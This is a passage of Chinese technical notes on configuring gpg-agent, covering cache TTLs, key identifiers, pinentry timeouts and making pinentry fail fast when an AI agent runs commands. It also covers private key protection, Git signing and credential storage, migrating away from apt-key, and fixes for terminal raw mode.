&lt;li&gt;缓存寿命 = min(创建起 &lt;code&gt;max-cache-ttl&lt;&#x2F;code&gt;，最后使用起 &lt;code&gt;default-cache-ttl&lt;&#x2F;code&gt;)。只配 &lt;code&gt;default-cache-ttl 86400&lt;&#x2F;code&gt; 时，&lt;code&gt;max-cache-ttl&lt;&#x2F;code&gt; 默认 2 小时且&lt;strong&gt;从创建起算&lt;&#x2F;strong&gt;——无论闲置还是连续使用，&lt;strong&gt;最长 2 小时必然过期重输&lt;&#x2F;strong&gt;，那行配置基本形同虚设，必须同时调 &lt;code&gt;max-cache-ttl&lt;&#x2F;code&gt;；且 SSH 用的是 &lt;code&gt;-ssh&lt;&#x2F;code&gt; 后缀那对（默认 30 分钟&#x2F;2 小时），配 &lt;code&gt;default-cache-ttl&lt;&#x2F;code&gt; 对 SSH &lt;strong&gt;完全不生效&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;想要&quot;一天一次&quot;必须四行全配：&lt;code&gt;default-cache-ttl&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;max-cache-ttl&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;default-cache-ttl-ssh&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;max-cache-ttl-ssh&lt;&#x2F;code&gt; 各 86400&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;max-cache-ttl&lt;&#x2F;code&gt; &lt;strong&gt;没有 86400 硬上限&lt;&#x2F;strong&gt;：源码（gpg-agent.c）只把它当默认值，配置值无 clamp，设 604800（一周）也合法&lt;&#x2F;li&gt;
&lt;li&gt;TTL 长短 = 安全权衡：密钥被盗后的&quot;冒充窗口&quot;长度&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;gpgconf --reload gpg-agent&lt;&#x2F;code&gt; 会清空全部口令缓存&lt;&#x2F;strong&gt;（实测：预设后缓存位 &lt;code&gt;1&lt;&#x2F;code&gt;，reload 后变 &lt;code&gt;-&lt;&#x2F;code&gt;）——配置未变更时不要 reload，否则未过期的缓存被白白清掉（gpg-manager.sh 已改为仅配置变更时才 reload）；&lt;code&gt;kill&lt;&#x2F;code&gt;+&lt;code&gt;launch&lt;&#x2F;code&gt; 重启同理清空缓存&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;gpg-preset-passphrase -c&lt;&#x2F;code&gt;（preset）不刷新 max-cache-ttl 计时&lt;&#x2F;strong&gt;：max-cache-ttl 锚定缓存条目的 &lt;code&gt;created&lt;&#x2F;code&gt;（首次创建时刻），preset 只更新 &lt;code&gt;last_stored&lt;&#x2F;code&gt;（即只重置 default-cache-ttl 的闲置计时器）。man page 原话：&quot;expired even if it has been accessed recently &lt;strong&gt;or has been set using gpg-preset-passphrase&lt;&#x2F;strong&gt;&quot;。想用定时 preset&quot;续命&quot;绕过 max-cache-ttl 是行不通的&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;唯一能重置 max-cache-ttl 的方式 = 删条目重建&lt;&#x2F;strong&gt;：&lt;code&gt;gpg-connect-agent &quot;CLEAR_PASSPHRASE &amp;lt;grip&amp;gt;&quot; &#x2F;bye&lt;&#x2F;code&gt;（等价 forget）后条目消失，再 preset 即创建全新条目（&lt;code&gt;created&lt;&#x2F;code&gt; 重置）→ 两个计时器都从零起算。注意本环境 &lt;code&gt;gpg-preset-passphrase -f&lt;&#x2F;code&gt;（forget）实测报 &lt;code&gt;IPC 无查询回调&lt;&#x2F;code&gt; bug，用上面的 agent 协议命令可靠&lt;&#x2F;li&gt;
&lt;li&gt;当前本仓库实际配置（run.sh install_gpg_agent 模板）：default 6h（21600）+ max 16h（57600），GPG 与 SSH 各一对；改 TTL 必须同步 run.sh 模板，否则重跑 &lt;code&gt;bash run.sh default&lt;&#x2F;code&gt; 会被 sed 覆盖回旧值并 reload 清缓存&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;san-chong-biao-shi-fu-keyid-keygrip-sha256-zhi-wen&quot;&gt;三种标识符：keyid &#x2F; keygrip &#x2F; SHA256 指纹&lt;&#x2F;h3&gt;
&lt;p&gt;同一把密钥在 GPG 生态里有三种视角，长度和用途都不同，容易混淆（gpg-agent-manager 输出里三种同时出现）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;标识符&lt;&#x2F;th&gt;&lt;th&gt;长度&#x2F;形式&lt;&#x2F;th&gt;&lt;th&gt;是什么&lt;&#x2F;th&gt;&lt;th&gt;出现位置&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;keyid&lt;&#x2F;td&gt;&lt;td&gt;16 hex，如 &lt;code&gt;9FCAF6A748F642BA&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;GPG 指纹（40 hex）的&lt;strong&gt;末尾 16 位&lt;&#x2F;strong&gt;（截断短 ID）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;gpg --list-secret-keys&lt;&#x2F;code&gt; 的 &lt;code&gt;sec&lt;&#x2F;code&gt; 行、&lt;code&gt;--keyid-format&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;keygrip&lt;&#x2F;td&gt;&lt;td&gt;40 hex，如 &lt;code&gt;D2BA4B39…B3803&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;SHA-1(公钥)&lt;&#x2F;strong&gt; 的十六进制，gpg-agent 对密钥材料的唯一标识&lt;&#x2F;td&gt;&lt;td&gt;私钥文件名 &lt;code&gt;~&#x2F;.gnupg&#x2F;private-keys-v1.d&#x2F;&amp;lt;grip&amp;gt;.key&lt;&#x2F;code&gt;、&lt;code&gt;sshcontrol&lt;&#x2F;code&gt; 登记行、&lt;code&gt;gpg-preset-passphrase&lt;&#x2F;code&gt; 参数&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;SHA256 指纹&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;SHA256:ghY5…&lt;&#x2F;code&gt;（base64 43 位）&lt;&#x2F;td&gt;&lt;td&gt;公钥的 SHA-256 哈希（base64 编码）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;ssh-add -l&lt;&#x2F;code&gt;、&lt;code&gt;ssh-keygen -lf&lt;&#x2F;code&gt;、SSH 指纹校验&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;要点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;GPG 另有&lt;strong&gt;全指纹&lt;&#x2F;strong&gt;（40 hex，&lt;code&gt;gpg --fingerprint&lt;&#x2F;code&gt;），keyid 只是它的末尾截断（理论上可碰撞）&lt;&#x2F;li&gt;
&lt;li&gt;keygrip 与指纹算法不同（SHA-1 vs SHA-256）、编码不同（hex vs base64），&lt;strong&gt;不能直接互转&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;keygrip 与 UID&#x2F;邮箱&#x2F;改名无关，故 gpg-agent 用做内部键：私钥文件命名、sshcontrol 登记、口令缓存键&lt;&#x2F;li&gt;
&lt;li&gt;三处各用各的：给人看用 keyid，给 gpg-agent 用 keygrip，给 SSH 侧校验用 SHA256&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;keng-sshcontrol-xing-wei-de-ke-xuan-zi-duan&quot;&gt;坑：sshcontrol 行尾的可选字段&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;code&gt;sshcontrol&lt;&#x2F;code&gt; 登记行格式为 &lt;code&gt;&amp;lt;keygrip&amp;gt; [缓存TTL] [标志]&lt;&#x2F;code&gt;（如 &lt;code&gt;D2BA…B3803 0&lt;&#x2F;code&gt;，&lt;code&gt;0&lt;&#x2F;code&gt; 为 TTL 默认值）。脚本抓取若取整行再 &lt;code&gt;tr -d &#x27; &#x27;&lt;&#x2F;code&gt;，会把 &lt;code&gt;0&lt;&#x2F;code&gt; 粘到 keygrip 尾部（41 位脏键）——&lt;code&gt;gpg-preset-passphrase&lt;&#x2F;code&gt; 按脏键预设返回成功，但&lt;strong&gt;缓存落在不存在的键名下，真实密钥没被刷新&lt;&#x2F;strong&gt;（&lt;code&gt;gpg-connect-agent &#x27;keyinfo --list&#x27; &#x2F;bye&lt;&#x2F;code&gt; 可见真实键 cache 仍为空）。正确做法只取行首 40 位十六进制：&lt;code&gt;grep -oE &#x27;^[0-9A-Fa-f]{40}&#x27;&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pinentry-chao-shi-fang-zhi-dan-chuang-gua-si&quot;&gt;pinentry 超时（防止弹窗挂死）&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;pinentry-timeout&lt;&#x2F;code&gt; 控制 pinentry 弹窗在&lt;strong&gt;无用户输入多少秒后自动关闭&lt;&#x2F;strong&gt;（等效点击&quot;取消&quot;），避免无头&#x2F;askpass 场景下 pinentry 永久挂起：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# ~&amp;#x2F;.gnupg&amp;#x2F;gpg-agent.conf
pinentry-timeout 15
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;生效原理：gpg-agent 源码 &lt;code&gt;if (opt.pinentry_timeout)&lt;&#x2F;code&gt; 判断后，通过 assuan 发送 &lt;code&gt;SETTIMEOUT 15&lt;&#x2F;code&gt;，pinentry 收到后 15 秒无输入自动关闭并返回错误&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;超时起点&lt;&#x2F;strong&gt;：从弹窗出现后最后一次用户输入开始计时，一直打字会不断重置计时器，不会中途打断&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;已知 bug 仅影响 0&lt;&#x2F;strong&gt;：设 0 时 &lt;code&gt;opt.pinentry_timeout&lt;&#x2F;code&gt; 为假，gpg-agent &lt;strong&gt;不发送超时指令&lt;&#x2F;strong&gt;，pinentry 回退内部默认（通常 60 秒）；正数值（如 15）正常生效&lt;&#x2F;li&gt;
&lt;li&gt;pinentry 兼容性：官方文档称 pinentry &quot;may or may not honor this request&quot;，但主流实现（curses&#x2F;gtk-2&#x2F;qt&#x2F;gnome3）都支持&lt;&#x2F;li&gt;
&lt;li&gt;与 TTL 的区别：TTL 管&quot;缓存过期后重新询问&quot;，pinentry-timeout 管&quot;弹窗本身无响应时自动关&quot;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;agent-shang-xia-wen-gpg-tty-zhi-xiang-bu-cun-zai-lu-jing-rang-pinentry-kuai-su-shi-bai-2026-08-09-duan-dao-duan-shi-ce&quot;&gt;Agent 上下文：&lt;code&gt;GPG_TTY&lt;&#x2F;code&gt; 指向不存在路径让 pinentry 快速失败（2026-08-09 端到端实测）&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;背景&lt;&#x2F;strong&gt;：opencode 等 agent 在终端里运行时，agent 触发的 ssh&#x2F;git&#x2F;pass 操作若口令已过 TTL，pinentry-curses 会把口令框画到 &lt;strong&gt;opencode 的 TUI&lt;&#x2F;strong&gt; 上打乱显示，或指向失效终端挂起。约定：agent 给&lt;strong&gt;每条&lt;&#x2F;strong&gt;可能触发口令的命令前缀 &lt;code&gt;GPG_TTY=&#x2F;dev&#x2F;nonexistent&lt;&#x2F;code&gt;（SSH 路径再靠 &lt;code&gt;Match exec updatestartuptty&lt;&#x2F;code&gt; 把该值带进 startup_tty），让 pinentry &lt;strong&gt;快速失败&lt;&#x2F;strong&gt;而非画框。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;端到端实测&lt;&#x2F;strong&gt;（&lt;code&gt;gpgconf --kill gpg-agent&lt;&#x2F;code&gt; 清空缓存后）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;GPG_TTY=&amp;#x2F;dev&amp;#x2F;nonexistent gpg-connect-agent updatestartuptty &amp;#x2F;bye
GPG_TTY=&amp;#x2F;dev&amp;#x2F;nonexistent ssh -T git@gitee.com
# 1 秒内失败: sign_and_send_pubkey ... agent refused operation, 不画框不挂起
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;踩坑：&lt;code&gt;&#x2F;dev&#x2F;null&lt;&#x2F;code&gt; 反而挂满 15s&lt;&#x2F;strong&gt;。pinentry-curses 的 tty 来源不同，行为天差地别：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;传给 pinentry 的 tty&lt;&#x2F;th&gt;&lt;th&gt;行为&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;OPTION ttyname=&lt;&#x2F;code&gt;（空）&lt;&#x2F;td&gt;&lt;td&gt;立即失败 &lt;code&gt;Inappropriate ioctl&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;OPTION ttyname=&#x2F;dev&#x2F;null&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;挂满 &lt;code&gt;pinentry-timeout&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;（&#x2F;dev&#x2F;null 是真实设备，open 成功卡在 termios 操作上）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;OPTION ttyname=&#x2F;dev&#x2F;nonexistent&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;立即失败 &lt;code&gt;No such file or directory&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;GPG_TTY=&#x2F;dev&#x2F;nonexistent&lt;&#x2F;code&gt;（env）&lt;&#x2F;td&gt;&lt;td&gt;立即失败&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;SSH 签名走 &lt;code&gt;OPTION ttyname&lt;&#x2F;code&gt; 路径，所以必须用&lt;strong&gt;不存在的路径&lt;&#x2F;strong&gt;，不能用 &lt;code&gt;&#x2F;dev&#x2F;null&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;两个必要条件&lt;&#x2F;strong&gt;（缺一无效）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;逐条命令前缀，不能只更新一次&lt;&#x2F;strong&gt;：ssh 的 &lt;code&gt;Match exec&lt;&#x2F;code&gt; 每次连接都会按&lt;strong&gt;那条命令进程的 GPG_TTY&lt;&#x2F;strong&gt; 重置 startup_tty，命令没带 &lt;code&gt;&#x2F;dev&#x2F;nonexistent&lt;&#x2F;code&gt; 会被重置回真实终端，照常画框。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;仅口令已过期时生效&lt;&#x2F;strong&gt;：缓存期（TTL）内无需 pinentry，命令照常成功。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;口令过期快速失败后，让用户&lt;strong&gt;在自己的终端&lt;&#x2F;strong&gt;用正确 &lt;code&gt;GPG_TTY=$(tty)&lt;&#x2F;code&gt; 解锁一次（如 &lt;code&gt;pass show sudo&lt;&#x2F;code&gt;）刷新缓存，agent 重试即可。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;si-yao-cun-chu-yu-bao-hu&quot;&gt;私钥存储与保护&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;~&#x2F;.ssh&#x2F;id_xxx&lt;&#x2F;code&gt; 是&lt;strong&gt;原件&lt;&#x2F;strong&gt;（OpenSSH 标准格式）；gpg-agent 持有的是&lt;strong&gt;工作副本&lt;&#x2F;strong&gt;，加密落盘在 &lt;code&gt;~&#x2F;.gnupg&#x2F;private-keys-v1.d&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;.key&lt;&#x2F;code&gt; 文件的加密是&lt;strong&gt;纯对称 s2k&lt;&#x2F;strong&gt;：口令 + 文件内 salt 迭代派生密钥（源码 protect.c 的 &lt;code&gt;hash_passphrase&lt;&#x2F;code&gt;），&lt;strong&gt;解密只需要 &lt;code&gt;.key&lt;&#x2F;code&gt; 文件 + 口令，不需要 GPG 公私钥对&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;格式与 gpg-agent 版本耦合，备份建议整个 &lt;code&gt;~&#x2F;.gnupg&#x2F;&lt;&#x2F;code&gt;；备份文件与口令要&lt;strong&gt;分开存放&lt;&#x2F;strong&gt;（防丢失两者都得保住，防盗两者不能同处）&lt;&#x2F;li&gt;
&lt;li&gt;无头环境可用：&lt;code&gt;pinentry-program &#x2F;usr&#x2F;bin&#x2F;pinentry-curses&lt;&#x2F;code&gt;，不依赖桌面&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;私钥无口令 ≠ 数据明文&lt;&#x2F;strong&gt;：pass 里保存的 sudo 密码始终是&lt;strong&gt;公钥加密的密文&lt;&#x2F;strong&gt;（&lt;code&gt;sudo.gpg&lt;&#x2F;code&gt;），与私钥有没有口令无关。私钥无口令只是 &lt;code&gt;.key&lt;&#x2F;code&gt; 文件本身明文（仍在 &lt;code&gt;~&#x2F;.gnupg&lt;&#x2F;code&gt; 0700 权限保护下），少了最后一道防线：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;泄露组合&lt;&#x2F;th&gt;&lt;th&gt;私钥有口令&lt;&#x2F;th&gt;&lt;th&gt;私钥无口令&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;仅 &lt;code&gt;sudo.gpg&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;解不开&lt;&#x2F;td&gt;&lt;td&gt;解不开&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;sudo.gpg&lt;&#x2F;code&gt; + &lt;code&gt;.key&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;解不开（无口令）&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;密码直接泄露&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;给 GPG 主密钥设口令（&lt;code&gt;gpg --change-passphrase&lt;&#x2F;code&gt; 设的即是 &lt;code&gt;.key&lt;&#x2F;code&gt; 文件保护口令，也是以后使用时要输的，&lt;strong&gt;只有一个口令&lt;&#x2F;strong&gt;）后由 gpg-agent 保管：加密落盘 + 解锁状态内存缓存。架构上 gpg 客户端不直接碰私钥，解密&#x2F;签名必须经 gpg-agent 中转，所以 gpg-agent 始终必需；有口令时它是&quot;守卫&quot;，无口令时只是&quot;透明通道&quot;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;an-quan-mo-xing&quot;&gt;安全模型&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;gpg-agent 是&lt;strong&gt;用户级单例&lt;&#x2F;strong&gt;：同一用户的所有会话（TTY&#x2F;GUI&#x2F;SSH）共享同一个缓存，一次解锁处处可用&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;缓存期内&lt;&#x2F;strong&gt;：任何同用户进程可免口令请求 agent 签名（可 ssh 到所有信任该密钥的机器）——这是&quot;冒充窗口&quot;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;但无法提取密钥本体&lt;&#x2F;strong&gt;：agent 协议没有导出私钥的指令；&lt;code&gt;private-keys-v1.d&lt;&#x2F;code&gt; 是密文；同 UID 进程也无法 ptrace 读 agent 内存（Ubuntu 默认 yama ptrace_scope=1 只允许 tracee 的祖先进程，或持有 CAP_SYS_PTRACE 的进程）&lt;&#x2F;li&gt;
&lt;li&gt;结论：删掉 &lt;code&gt;~&#x2F;.ssh&#x2F;id_xxx&lt;&#x2F;code&gt; 原件后，攻击者拿不到长期密钥、过期后也无法继续用，只有 TTL 窗口内的&quot;冒充使用权&quot;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;git-tag-qian-ming&quot;&gt;Git Tag 签名&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git config --global user.signingkey &amp;lt;key-id&amp;gt;
git tag -s v1.0.0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;git-ping-ju-guan-li&quot;&gt;Git 凭据管理&lt;&#x2F;h2&gt;
&lt;p&gt;安装 Git Credential Manager 后配置：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 使用 GPG 存储凭据
export GCM_CREDENTIAL_STORE=gpg

# 或使用内存缓存
export GCM_CREDENTIAL_STORE=cache

# 初始化密码存储
pass init &amp;lt;gpg-key-id&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在 Emacs 中需设置环境变量：&lt;code&gt;(setenv &quot;GCM_CREDENTIAL_STORE&quot; &quot;cache&quot;)&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ti-dai-apt-key&quot;&gt;替代 apt-key&lt;&#x2F;h2&gt;
&lt;p&gt;从 Ubuntu 22.04 起 apt-key 被弃用，改用 GPG：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 旧方式（弃用）
wget -nc https:&amp;#x2F;&amp;#x2F;example.com&amp;#x2F;key.gpg
sudo apt-key add key.gpg

# 新方式
wget -O- https:&amp;#x2F;&amp;#x2F;example.com&amp;#x2F;key.gpg | gpg --dearmor | \
  sudo tee &amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;trusted.gpg.d&amp;#x2F;example.gpg &amp;gt; &amp;#x2F;dev&amp;#x2F;null

# 更新 sources.list 添加 signed-by
deb [arch=amd64 signed-by=&amp;#x2F;etc&amp;#x2F;apt&amp;#x2F;trusted.gpg.d&amp;#x2F;example.gpg] https:&amp;#x2F;&amp;#x2F;example.com&amp;#x2F;debian stable main
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;迁移旧 apt-key 条目：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt-key list             # 查看所有旧 key
sudo apt-key export &amp;lt;key-id&amp;gt; | sudo gpg --dearmor -o &amp;#x2F;usr&amp;#x2F;share&amp;#x2F;keyrings&amp;#x2F;&amp;lt;name&amp;gt;.gpg
sudo apt-key del &amp;lt;key-id&amp;gt;     # 删除旧条目
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;chang-jian-wen-ti&quot;&gt;常见问题&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GPG 生成密钥时提示熵不够&lt;&#x2F;strong&gt;：SSH 远程服务器缺乏随机源，安装 &lt;code&gt;rng-tools&lt;&#x2F;code&gt; 或在 GUI 环境下操作&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Emacs Magit 与 git credential 冲突&lt;&#x2F;strong&gt;：设置 &lt;code&gt;magit-process-connection-type&lt;&#x2F;code&gt; 为 t，配置 &lt;code&gt;GCM_CREDENTIAL_STORE=cache&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;脚本输入口令后挂死&lt;&#x2F;strong&gt;：终端残留 pinentry-curses 遗留的 &lt;strong&gt;raw 模式&lt;&#x2F;strong&gt;（&lt;code&gt;stty -a&lt;&#x2F;code&gt; 显示 &lt;code&gt;-icanon&lt;&#x2F;code&gt;）时，按 Enter 只发送 &lt;code&gt;\r&lt;&#x2F;code&gt;，而 bash &lt;code&gt;read&lt;&#x2F;code&gt; 等待 &lt;code&gt;\n&lt;&#x2F;code&gt; → 输入口令后永远等不到换行。恢复：&lt;code&gt;reset&lt;&#x2F;code&gt; 或 &lt;code&gt;stty sane&lt;&#x2F;code&gt;；脚本侧可在 read 前检测 &lt;code&gt;stty -a &amp;lt;&#x2F;dev&#x2F;tty | grep -oE &#x27;[+-]?icanon&#x27; | grep -q &#x27;^-&#x27;&lt;&#x2F;code&gt; 命中即自动 &lt;code&gt;stty sane&lt;&#x2F;code&gt; 自愈（gpg-manager.sh 已内置）。典型来源：pinentry-curses 弹错终端（GPG_TTY 未导出）或被 &lt;code&gt;killall pinentry-curses&lt;&#x2F;code&gt; 强杀后未恢复终端属性。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;SSH 场景 pinentry 弹到别的终端&lt;&#x2F;strong&gt;：SSH 协议不携带 ttyname，pinentry-curses 只能画在 gpg-agent 全局 startup_tty（最后一次 &lt;code&gt;updatestartuptty&lt;&#x2F;code&gt; 的终端），多终端下最易弹错位置；&lt;code&gt;gpg&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;pass&lt;&#x2F;code&gt; 路径客户端自带 ttyname 不受影响。修复：shell rc 里 &lt;code&gt;export GPG_TTY=&quot;$(tty)&quot;&lt;&#x2F;code&gt;（有 tty 时）并 &lt;code&gt;gpg-connect-agent updatestartuptty &#x2F;bye&lt;&#x2F;code&gt;，详见「pinentry 如何拿到 DISPLAY &#x2F; tty」。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;wen-da-ji-lu&quot;&gt;问答记录&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;Q1: 脚本交互输入口令后卡死（输入了口令但无任何响应）？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;终端残留 pinentry-curses 遗留的 &lt;strong&gt;raw 模式&lt;&#x2F;strong&gt;（&lt;code&gt;stty -a&lt;&#x2F;code&gt; 显示 &lt;code&gt;-icanon&lt;&#x2F;code&gt;）导致：按 Enter 只发送 &lt;code&gt;\r&lt;&#x2F;code&gt;，而 bash &lt;code&gt;read&lt;&#x2F;code&gt; 等待 &lt;code&gt;\n&lt;&#x2F;code&gt; → 永远等不到换行。典型来源：pinentry-curses 弹错终端（GPG_TTY 未导出）或被 &lt;code&gt;killall pinentry-curses&lt;&#x2F;code&gt; 强杀后未恢复终端属性。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;手动恢复：&lt;code&gt;reset&lt;&#x2F;code&gt; 或 &lt;code&gt;stty sane&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;脚本侧修复（gpg-manager.sh 已内置）：read 前&lt;strong&gt;无条件&lt;&#x2F;strong&gt; &lt;code&gt;stty sane &amp;lt;&#x2F;dev&#x2F;tty&lt;&#x2F;code&gt;——实测先做&quot;检测到 &lt;code&gt;-icanon&lt;&#x2F;code&gt; 才恢复&quot;的方式在真实环境没兜住（检测路径未必覆盖所有遗留状态），无条件恢复等价 &lt;code&gt;reset&lt;&#x2F;code&gt; 且终端正常时无副作用，彻底杜绝该挂死类问题&lt;&#x2F;li&gt;
&lt;li&gt;附带验证结论：仅 &lt;code&gt;-icrnl&lt;&#x2F;code&gt;（ICANON 开、CR 不转 NL）不会挂 bash read，真正挂死的是 &lt;code&gt;-icanon&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;Q2: gpg-preset-passphrase 支持从 stdin 读口令吗？为什么脚本还要先 &lt;code&gt;read&lt;&#x2F;code&gt; 一遍？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;支持，脚本正是在用它：&lt;code&gt;printf &#x27;%s\n&#x27; &quot;$passphrase&quot; | gpg-preset-passphrase -c &quot;$grip&quot;&lt;&#x2F;code&gt;。但 &lt;code&gt;read&lt;&#x2F;code&gt; 不能省：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;一次输入要复用多次&lt;&#x2F;strong&gt;：主密钥+子密钥 = 多次 preset 调用，每次调用消耗一份 stdin；直接交终端 stdin 给第一次调用，后续 grip 就没口令可读（阻塞）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;静默输入&lt;&#x2F;strong&gt;：preset 直接读终端 stdin 不回显屏蔽（仅 fread stdin），口令会明文显示；&lt;code&gt;read -s&lt;&#x2F;code&gt; 提供静默输入&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
